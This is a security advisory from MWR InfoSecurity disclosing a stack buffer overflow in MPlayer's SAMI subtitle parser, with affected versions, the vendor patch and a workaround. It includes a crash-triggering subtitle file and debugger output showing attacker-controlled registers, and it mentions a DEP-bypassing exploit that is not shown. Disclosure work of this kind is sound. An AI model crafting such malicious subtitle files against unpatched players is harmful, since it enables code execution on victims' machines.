MPlayer SAMI Subtitle Parser

MWR InfoSecurity Advisory

12/08/2011

Package Name	MPlayer
Date	14-06-2011
Affected Versions	MPlayer SVN Versions before 33471, SMPlayer 0.6.9 and older.

CVE Reference	None
Author	Jacques Louw
Severity	High
Local/Remote	Local
Vulnerability Class	Local Buffer Overflow
Vendor	MPlayer
Vendor Response	Patch was created (and backported) and applied in SVN within days of disclosure.

Description

A buffer overflow vulnerability was found in MPlayer. Exploitation of this vulnerability allowed the execution of arbitrary code by loading a malicious SAMI subtitle file. Proof of concept exploit code was developed for the Windows XP SP3 platform, bypassing DEP.

Impact

A maliciously crafted SAMI subtitle file could cause buffer overflow, leading to arbitrary code execution at the privilege of the MPlayer process owner.

Cause

The vulnerability is caused by a buffer handling error in the sub_read_line_sami() function.

Interim Workaround

Do not open SAMI format subtitles with MPlayer.

Solution

Vendor has provided a patch and has committed it to SVN.

Technical Description

The issue found is a buffer overflow which occurs when a line is read with more characters than the values of macro LINE_LEN. When additional data is moved into the receive buffer, the pointer to the start of the buffer is not reset, causing the additional data to be moved into an area beyond the limits of the buffer. This additional data is eventually written over the stack, allowing control of program execution.

The vulnerability was identified in sub_read_line_sami() function, in the subreader.c source file.

The following “malicious.smi” file was found to trigger the vulnerability:

```
<SAMI>
<BODY>
      <SYNC Start=100550>
      AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
      AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</SAMI>
```

The following crash is caused when executing “mplayer sample.avi –sub malicious.smi”:

```
004572D2   > 8B9424 3004000>MOV EDX,DWORD PTR SS:[ESP+430]
004572D9   . 015A 24        ADD DWORD PTR DS:[EDX+24],EBX
004572DC   . 85F6           TEST ESI,ESI
004572DE   . 75 30          JNZ SHORT mplayer.00457310
004572E0   > 8B42 24        MOV EAX,DWORD PTR DS:[EDX+24] <-- Crash here
004572E3   . 8B5A 28        MOV EBX,DWORD PTR DS:[EDX+28]
004572E6   . 29C3           SUB EBX,EAX
004572E8   . 85DB           TEST EBX,EBX
004572EA   .^7F 8B          JG SHORT mplayer.00457277
004572EC   . 891424         MOV DWORD PTR SS:[ESP],EDX
```

With the following registers at crash time:

```
EAX 414141A5
ECX FFFFFFFF
EDX 41414141
EBX 0000020B
ESP 0022E160
EBP 0000020B
ESI 058F4B47 ASCII "</SAMI>"
EDI 058F493D ASCII "
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 004572E0 mplayer.004572E0
```

From this it can be determined that the input from the SAMI file corrupted the stack. It was possible to control this corruption to effect code execution.

Proof of concept exploit code was developed for the Windows XP SP3 platform, bypassing DEP using ROP.